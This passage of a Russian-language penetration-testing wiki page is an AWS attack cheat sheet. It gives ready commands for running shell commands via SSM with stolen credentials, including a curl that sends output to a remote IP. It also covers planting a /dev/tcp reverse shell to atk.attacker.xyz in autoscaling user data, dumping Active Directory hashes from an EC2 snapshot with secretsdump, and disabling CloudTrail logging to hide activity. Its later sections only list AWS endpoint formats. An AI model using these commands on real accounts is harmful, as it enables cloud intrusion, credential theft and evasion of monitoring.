* Знать Instance-ID, на котором запущен сервис SSM&lt;br /&gt;
&lt;br /&gt;
* Свой сервер, на который будет приходить отстук - результат команды.&lt;br /&gt;
&lt;br /&gt;
Команды для эксплуатации:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Получаем информацию о SSM сервисах - может потребоваться ssm:DescribeInstanceInformation&lt;br /&gt;
aws ssm describe-instance-information --profile stolencreds --region eu-west-1  &lt;br /&gt;
# Выполняем команду&lt;br /&gt;
aws ssm send-command --instance-ids &amp;quot;INSTANCE-ID-HERE&amp;quot; --document-name &amp;quot;AWS-RunShellScript&amp;quot; --comment &amp;quot;IP Config&amp;quot; --parameters commands=ifconfig --output text --query &amp;quot;Command.CommandId&amp;quot; --profile stolencreds&lt;br /&gt;
# Получаем результат команды(может не хватить прав ssm:ListCommandInvocations)&lt;br /&gt;
aws ssm list-command-invocations --command-id &amp;quot;COMMAND-ID-HERE&amp;quot; --details --query &amp;quot;CommandInvocations[].CommandPlugins[].{Status:Status,Output:Output}&amp;quot; --profile stolencreds&lt;br /&gt;
&lt;br /&gt;
# Пример - результат команды на удаленный сервер&lt;br /&gt;
$ aws ssm send-command --instance-ids &amp;quot;i-05b████████adaa&amp;quot; --document-name &amp;quot;AWS-RunShellScript&amp;quot; --comment &amp;quot;whoami&amp;quot; --parameters commands='curl 162.243.███.███:8080/`whoami`' --output text --region=us-east-1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== EC2:CreateSnapshot + Active Directory ====&lt;br /&gt;
&lt;br /&gt;
См. AD.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Auto Scaling (autoscaling) ==&lt;br /&gt;
&lt;br /&gt;
Сервис для масштабирования приложений. Работает преимущественно с EC2, ECS, DynamoDB (таблицы и индексы) и Aurora.&lt;br /&gt;
&lt;br /&gt;
Для работы сервиса требуется:&lt;br /&gt;
&lt;br /&gt;
1. Конфигурация запуска EC2.&lt;br /&gt;
&lt;br /&gt;
2. Конфигурация масштабирования.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Роли - повышение привилегий ==&lt;br /&gt;
&lt;br /&gt;
=== autoscaling:CreateLaunchConfiguration + autoscaling:Create(Update)AutoScalingGroup + iam:PassRole ===&lt;br /&gt;
&lt;br /&gt;
Позволяет создать и запустить конфигурацию масштабирования. &lt;br /&gt;
&lt;br /&gt;
==== Создаем конфигурацию запуска EC2 ====&lt;br /&gt;
&lt;br /&gt;
Для создания требуется:&lt;br /&gt;
&lt;br /&gt;
1. Image-id&lt;br /&gt;
&lt;br /&gt;
2. iam-instance-profile&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Следующая команда создает конфигурацию с командой из файла reverse-shell.sh:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws autoscaling create-launch-configuration --launch-configuration-name demo3-LC --image-id ami-0f90b6b11936e1083 --instance-type t1.micro --iam-instance-profile demo-EC2Admin --metadata-options &amp;quot;HttpEndpoint=enabled,HttpTokens=optional&amp;quot; --associate-public-ip-address --user-data=file://reverse-shell.sh&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Пример содержимого reverse-shell.sh:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
#!/bin/bash&lt;br /&gt;
/bin/bash -l &amp;gt; /dev/tcp/atk.attacker.xyz/443 0&amp;lt;&amp;amp;1 2&amp;gt;&amp;amp;1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Создаем и запускаем группу масштабируемости ====&lt;br /&gt;
&lt;br /&gt;
Привилегия ec2:DescribeSubnets нужна для выбора нужной сети (чтобы EC2 смог сделать reverse-соедиенение к нам).&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws autoscaling create-auto-scaling-group --auto-scaling-group-name demo3-ASG --launch-configuration-name demo3-LC --min-size 1 --max-size 1 --vpc-zone-identifier &amp;quot;subnet-aaaabbb&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Подробнее тут https://notdodo.medium.com/aws-ec2-auto-scaling-privilege-escalation-d518f8e7f91b&lt;br /&gt;
&lt;br /&gt;
== AD (Directory Service) ==&lt;br /&gt;
&lt;br /&gt;
Второе название - AWS Managed Microsoft Active Directory. Позволяет использовать Active Directory в AWS.&lt;br /&gt;
&lt;br /&gt;
Основные понятия:&lt;br /&gt;
&lt;br /&gt;
* EC2-Instance - VPS на которых крутится весь Active Directory&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Роли - повышение привилегий ===&lt;br /&gt;
&lt;br /&gt;
==== EC2:CreateSnapshot + EC2:RunInstance -&amp;gt; ShadowCopy ====&lt;br /&gt;
&lt;br /&gt;
Позволяет провести атаку ShadowCopy на доменный контроллер и считать учетные данные всех пользователей.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Последовательность атаки:&lt;br /&gt;
&lt;br /&gt;
1. Получаем список инстансов&lt;br /&gt;
&lt;br /&gt;
2. Создаем Snapshot выбранного сервера&lt;br /&gt;
&lt;br /&gt;
3. Редактируем атрибуты у SnapShot для доступа с аккаунта атакующего. &lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws ec2 modify-snapshot-attribute --snapshot-id snap-1234567890abcdef0 --attribute createVolumePermission  --operation-type remove --user-ids 123456789012&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
4. Переключаемся на аккаунт атакующего&lt;br /&gt;
&lt;br /&gt;
5. Создаем новый Linux EC2-инстанс, к которому будет прикреплен SnapShot&lt;br /&gt;
&lt;br /&gt;
6. Подключаемся по SSH и получаем данные из SnapShot&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
sudo -s&lt;br /&gt;
mkdir /tmp/windows&lt;br /&gt;
mount /dev/xvdf1 /tmp/windows/&lt;br /&gt;
cd  /tmp/windows/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
7. Работаем с данными на примонтированном диске, который будет в /tmp/windows/. Пример команд для извлечения ntds.dit:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
cp /windows/Windows/NTDS/ntds.dit /home/ec2-user&lt;br /&gt;
cp /windows/Windows/System32/config/SYSTEM /home/ec2-user&lt;br /&gt;
chown ec2-user:ec2-user /home/ec2-user/*&lt;br /&gt;
# Sftp - скачиваем файлы:&lt;br /&gt;
/home/ec2-user/SYSTEM&lt;br /&gt;
/home/ec2-user/ntds.dit&lt;br /&gt;
# Получаем учетные данные, используя Impacket-secretsdump&lt;br /&gt;
secretsdump.py -system ./SYSTEM -ntds ./ntds.dit local -outputfile secrets&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== CloudTrail ==&lt;br /&gt;
&lt;br /&gt;
Сервис для аудита событий в AWS-аккаунте (включен в каждом аккаунте по-умолчанию). Сервис позволяет вести журналы, осуществлять непрерывный мониторинг и сохранять информацию об истории аккаунта в пределах всей используемой инфраструктуры AWS.&lt;br /&gt;
&lt;br /&gt;
Записывает:&lt;br /&gt;
&lt;br /&gt;
* API-вызовы&lt;br /&gt;
&lt;br /&gt;
* Логины в систему&lt;br /&gt;
&lt;br /&gt;
* События сервисов&lt;br /&gt;
&lt;br /&gt;
* ???&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Важен при операциях RedTeam.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Название файла логов:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
AccountID_CloudTrail_RegionName_YYYYMMDDTHHmmZ_UniqueString.FileNameFormat&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
S3 путь до логов:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
BucketName/prefix/AWSLogs/AccountID/CloudTrail/RegionName/YYYY/MM/DD&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Путь у CloudTrail-Digest файлов:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
s3://s3-bucket-name/optional-prefix/AWSLogs/aws-account-id/CloudTrail-Digest/region/digest-end-year/digest-end-month/digest-end-data/aws-account-id_CloudTrail-Digest_region_trail-name_region_digest_end_timestamp.json.gz&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Основные поля у событий:&lt;br /&gt;
&lt;br /&gt;
* eventName - имя API-endpoint&lt;br /&gt;
&lt;br /&gt;
* eventSource - вызванный сервис&lt;br /&gt;
&lt;br /&gt;
* eventTime - время события&lt;br /&gt;
&lt;br /&gt;
* SourceIPAddress - ip-адрес источника&lt;br /&gt;
&lt;br /&gt;
* userAgent - метод запроса&lt;br /&gt;
** &amp;quot;signing.amazonaws.com&amp;quot; - запрос от AWS Management Console&lt;br /&gt;
** &amp;quot;console.amazonaws.com&amp;quot; - запрос от root-пользователя аккаунта&lt;br /&gt;
** &amp;quot;lambda.amazonaws.com&amp;quot; - запрос от AWS Lambda&lt;br /&gt;
&lt;br /&gt;
* requestParameters - параметры запроса&lt;br /&gt;
&lt;br /&gt;
* responseElements - элементы ответа.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Временные параметры:&lt;br /&gt;
&lt;br /&gt;
* 5 минут - сохраняется новый лог-файл&lt;br /&gt;
&lt;br /&gt;
* 15 минут - сохраняется в S3.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Важно! Сохраняется чексумма файлов, поэтому пользователи могут удостовериться что логи не менялись.&lt;br /&gt;
Также логи могут уходить напрямую в CloudWatch - администраторам может прилететь уведомление об ИБ-инцидентах. Или события могут быть проанализированы внутренним модулем CloudTrail - Insights на предмет необычной активности.&lt;br /&gt;
&lt;br /&gt;
=== Роли - управление ===&lt;br /&gt;
&lt;br /&gt;
==== cloudtrail:DeleteTrail ====&lt;br /&gt;
&lt;br /&gt;
Позволяет отключить мониторинг:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws cloudtrail delete-trail --name cloudgoat_trail --profile administrator&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== cloudtrail:UpdateTrail ====&lt;br /&gt;
&lt;br /&gt;
Права на редактирование правил монитринга.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Отключить мониторинг глобальных сервисов:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws cloudtrail update-trail --name cloudgoat_trail --no-include-global-service-event&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Отключить мониторинг на конкретные регионы:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws cloudtrail update-trail --name cloudgoat_trail --no-include-global-service-event --no-is-multi-region --region=eu-west&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== validate-logs ====&lt;br /&gt;
&lt;br /&gt;
Проверить, были ли изменены логи.&lt;br /&gt;
&lt;br /&gt;
aws cloudtrail validate-logs --trail-arn &amp;lt;trailARN&amp;gt; --start-time &amp;lt;start-time&amp;gt; [--end-time &amp;lt;end-time&amp;gt;] [--s3-bucket &amp;lt;bucket-name&amp;gt;] [--s3-prefix &amp;lt;prefix&amp;gt;] [--verbose]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Эксплуатация ===&lt;br /&gt;
&lt;br /&gt;
==== Обход правила по UserAgent ====&lt;br /&gt;
&lt;br /&gt;
На сервисе есть правило, по которому определяет, что запросы были сделаны с kali/parrot/pentoo используя awscli.&lt;br /&gt;
&lt;br /&gt;
Для этого можно воспользоваться утилитой pacu, которая автоматически подменяет useragent. Использование утилиты в конце статьи.&lt;br /&gt;
&lt;br /&gt;
== DynamoDB ==&lt;br /&gt;
&lt;br /&gt;
Cистема управления базами данных класса NoSQL в формате «ключ — значение».&lt;br /&gt;
&lt;br /&gt;
=== Роли - управление ===&lt;br /&gt;
&lt;br /&gt;
==== dynamodb:ListTables ====&lt;br /&gt;
&lt;br /&gt;
Позволяет посмотреть спрсок таблиц базы данных.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws --endpoint-url http://s3.bucket.htb dynamodb list-tables        &lt;br /&gt;
&lt;br /&gt;
{&lt;br /&gt;
    &amp;quot;TableNames&amp;quot;: [&lt;br /&gt;
        &amp;quot;users&amp;quot;&lt;br /&gt;
    ]&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== dynamodb:Scan ====&lt;br /&gt;
&lt;br /&gt;
Получение обьектов из базы данных:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws --endpoint-url http://s3.bucket.htb dynamodb scan --table-name users | jq -r '.Items[]'&lt;br /&gt;
&lt;br /&gt;
{&lt;br /&gt;
  &amp;quot;password&amp;quot;: {&lt;br /&gt;
    &amp;quot;S&amp;quot;: &amp;quot;Management@#1@#&amp;quot;&lt;br /&gt;
  },&lt;br /&gt;
  &amp;quot;username&amp;quot;: {&lt;br /&gt;
    &amp;quot;S&amp;quot;: &amp;quot;Mgmt&amp;quot;&lt;br /&gt;
  }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== ES (ElasticSearch) ==&lt;br /&gt;
&lt;br /&gt;
ElasticSearch от AWS. Используется для просмотра логов/журналов, поиска на вебсайте и тд.&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{user_provided}-{random_id}.{region}.es.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== ELB (Elastic Load Balancing) ==&lt;br /&gt;
&lt;br /&gt;
Балансировщик нагрузки.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки (elb_v1):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
http://{user_provided}-{random_id}.{region}.elb.amazonaws.com:80/443&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Формат ссылки (elb_v2):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{user_provided}-{random_id}.{region}.elb.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== RDS (Relational Database Service) ==&lt;br /&gt;
&lt;br /&gt;
Облачная реляционная база данных (на выбор).&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
mysql://{user_provided}.{random_id}.{region}.rds.amazonaws.com:3306&lt;br /&gt;
postgres://{user_provided}.{random_id}.{region}.rds.amazonaws.com:5432&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Route 53 ==&lt;br /&gt;
&lt;br /&gt;
Настраиваемая служба DNS.&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
{user_provided}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== API Gateway ==&lt;br /&gt;
&lt;br /&gt;
API-сервис, который будет доступен почти со всех серверов.&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{restapi_id}.execute-api.{region}.amazonaws.com/{stage_name}/&lt;br /&gt;
https://{random_id}.execute-api.{region}.amazonaws.com/{user_provided}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== CloudSearch ==&lt;br /&gt;
&lt;br /&gt;
Альтернатива сервису ElasticSearch. Система для упрощения поиска для администрирования и, например, на вебсайте.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://doc-{user_provided}-{random_id}.{region}.cloudsearch.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Transfer Family  ==&lt;br /&gt;
&lt;br /&gt;
Группа сервисов для передачи файлов (S3/EFS) по (SFTP, FTPS, FTP).&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
sftp://s-{random_id}.server.transfer.{region}.amazonaws.com&lt;br /&gt;
ftps://s-{random_id}.server.transfer.{region}.amazonaws.com&lt;br /&gt;
ftp://s-{random_id}.server.transfer.{region}.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== IoT (Internet Of Things) ==&lt;br /&gt;
&lt;br /&gt;
Сервис для управления IoT-устройствами.&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
mqtt://{random_id}.iot.{region}.amazonaws.com:8883&lt;br /&gt;
https://{random_id}.iot.{region}.amazonaws.com:8443&lt;br /&gt;
https://{random_id}.iot.{region}.amazonaws.com:443&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== MQ ==&lt;br /&gt;
&lt;br /&gt;
Сервис брокера сообщений для Apache ActiveMQ &amp;amp; RabbitMQ.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://b-{random_id}-{1,2}.mq.{region}.amazonaws.com:8162&lt;br /&gt;
ssl://b-{random_id}-{1,2}.mq.{region}.amazonaws.com:61617&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== MSK (Managed Streaming for Apache Kafka) ==&lt;br /&gt;
&lt;br /&gt;
Сервис потоковой передачи данных в Apache Kafka.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
b-{1,2,3,4}.{user_provided}.{random_id}.c{1,2}.kafka.{region}.amazonaws.com&lt;br /&gt;
{user_provided}.{random_id}.c{1,2}.kafka.useast-1.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Cloud9 ==&lt;br /&gt;
&lt;br /&gt;
Облачная интегрированная среда разработки(IDE) используя только браузер.&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{random_id}.vfs.cloud9.{region}.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== MediaStore ==&lt;br /&gt;
&lt;br /&gt;
Cервис хранилища AWS, оптимизированный для мультимедийных материалов.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{random_id}.data.mediastore.{region}.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Kinesis Video Streams ==&lt;br /&gt;
&lt;br /&gt;
Обеспечивает простую и безопасную потоковую передачу видео с подключенных устройств в AWS для воспроизведения, аналитики, машинного обучения (ML) и других видов обработки.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{random_id}.kinesisvideo.{region}.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Elemental MediaConvert ==&lt;br /&gt;
&lt;br /&gt;
Сервис перекодирования видеофайлов с возможностями на уровне вещательных компаний. Он позволяет просто создавать контент в формате «видео по требованию» (VOD) для трансляций, в том числе мультиэкранных, в любом масштабе.&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{random_id}.mediaconvert.{region}.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Elemental MediaPackage ==&lt;br /&gt;
&lt;br /&gt;
Cервис для подготовки и защиты видеоконтента, распространяемого через Интернет. AWS Elemental MediaPackage использует один источник видео и создает на его основе специализированные видеопотоки для воспроизведения на подключенных телевизорах, мобильных телефонах, компьютерах, планшетах и игровых консолях.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{random_id}.mediapackage.{region}.amazonaws.com/in/v1/{random_id}/channel&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== ECR (Elastic Container Registry) ==&lt;br /&gt;
&lt;br /&gt;
Региональный сервис, предназначенный для обеспечения гибкого развертывания образов.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Роли - управление ===&lt;br /&gt;
&lt;br /&gt;
==== ecr:ListImages ====&lt;br /&gt;
&lt;br /&gt;
Получить список образов:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws ecr list-images --repository-name &amp;lt;ECR_name&amp;gt; --registry-id &amp;lt;UserID&amp;gt; --region &amp;lt;region&amp;gt; --profile &amp;lt;profile_name&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== ecr:GetDownloadUrlForLayer ====&lt;br /&gt;
&lt;br /&gt;
Позволяет получить URL на скачивание образа.&lt;br /&gt;
&lt;br /&gt;
==== ecr:GetDownloadUrlForLayer + ecr:BatchGetImage + ecr:GetAuthorizationToken ====&lt;br /&gt;
&lt;br /&gt;
Позволяет скачать образ (мб потребуется и ecr:ListImages чтобы получить список образов):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws ecr get-login&lt;br /&gt;
docker pull &amp;lt;UserID&amp;gt;.dkr.ecr.us-east-1.amazonaws.com/&amp;lt;ECRName&amp;gt;:latest&lt;br /&gt;
docker inspect sha256:079aee8a89950717cdccd15b8f17c80e9bc4421a855fcdc120e1c534e4c102e0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Augmented AI (Amazon A2I) ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/ru/augmented-ai/&lt;br /&gt;
&lt;br /&gt;
== CodeGuru ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/ru/codeguru/&lt;br /&gt;
&lt;br /&gt;
== Comprehend ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/ru/comprehend/&lt;br /&gt;
&lt;br /&gt;
== DevOps Guru ==&lt;br /&gt;
&lt;br /&gt;
